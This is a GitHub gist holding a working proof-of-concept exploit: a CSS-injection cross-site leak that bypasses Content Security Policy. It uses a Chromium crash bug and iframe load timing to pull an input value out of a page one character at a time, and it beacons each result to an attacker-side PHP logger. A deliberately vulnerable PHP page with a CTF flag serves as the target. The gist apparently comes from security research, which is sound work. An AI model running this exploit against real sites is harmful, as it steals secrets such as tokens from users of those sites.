Skip to content

Instantly share code, notes, and snippets.

@JorianWoltjer
Created January 26, 2025 19:55
Show Gist options
  • Save JorianWoltjer/76fdd101a6e89b06b3b047d35fb9bcc0 to your computer and use it in GitHub Desktop.
Save JorianWoltjer/76fdd101a6e89b06b3b047d35fb9bcc0 to your computer and use it in GitHub Desktop.
CSS Injection XS-Leak to bypass CSP
<div><button id="leak">Leak</button></div>
<div><textarea id="log" cols="100" rows="30" readonly></textarea></div>
<script>
const TARGET = 'http://localhost:8000';
const ALPHABET = " {}_Ee3Aa@4RrIi1Oo0Tt7NnSs25$LlCcUuDdPpMmHhGg6BbFfYyWwKkVvXxZzJjQq89-,.!?'\"#%&()*+/\\:;<=>[]^`|~"; // Ordered by frequency
const TIMEOUT = 1000; // Max load time for the error page
let w;
function escape(s) {
// See https://www.w3.org/TR/css-syntax-3/#token-diagrams
return s.split('').map(c => `\\${c.charCodeAt(0).toString(16).padStart(2, '0')}`).join('');
}
function log(msg) {
const value = document.getElementById('log').value;
document.getElementById('log').value = msg + '\n' + value;
navigator.sendBeacon(`/log.php`, msg);
}
// Return whether the selector was found
function leak(prefix, c, operator='^=') {
return new Promise((resolve) => {
// Crash all instances of this origin
const selector = `input[value${operator}${escape(prefix+c)}]`;
// See https://issues.chromium.org/issues/382086298. If this ever gets fixed, use a different CSS crashing payload
const payload = `}${selector}{background:linear-gradient(in display-p3,red,blue)}`;
const params = new URLSearchParams({color: payload});
w.location = TARGET + "/vuln.php?" + params
// Create 2 iframes. The 1st will always succeed, but the 2nd may crash while loading
const iframe = document.createElement("iframe");
iframe.src = TARGET + "/%00"; // This should be any iframable URL on the target site. %00 often gives an error page with missing security headers
iframe.style.display = 'none';
document.body.appendChild(iframe)
const iframe2 = iframe.cloneNode();
document.body.appendChild(iframe2)
const timeout = setTimeout(() => {
// If crash blocked onload= event
document.querySelectorAll('iframe').forEach(iframe => iframe.remove());
resolve(true);
}, TIMEOUT);
iframe2.onload = () => {
// If iframe still loaded
clearTimeout(timeout);
document.querySelectorAll('iframe').forEach(iframe => iframe.remove());
resolve(false);
}
});
}
const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
document.getElementById('leak').addEventListener('click', async () => {
async function linearSearch(prefix) {
for (let c of ALPHABET) {
const result = await leak(prefix, c);
log(`${prefix}${c}: ${result}`);
if (result) {
return c;
}
}
}
w = window.open("about:blank", "popup", "width=500,height=200");
let prefix = '';
while (true) {
// Find one character
const result = await linearSearch(prefix);
log('='.repeat(25));
if (result) {
log(`Result: ${prefix}${result}`);
prefix += result;
// If exact match, we are done
if (await leak(prefix, '', '=')) {
break;
}
} else {
throw new Error('Not found');
}
}
w.close();
log(`FINAL: ${prefix}`);
alert(prefix);
});
</script>
<?php
$log = file_get_contents('php://input');
file_put_contents('php://stdout', 'LOG: ' . $log . "\n");
<h1>Hello, world!</h1>
<input type="text" value="CTF{flag}" />
<style>
body {
background-color: <?= htmlspecialchars($_GET['color']) ?>;
}
</style>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment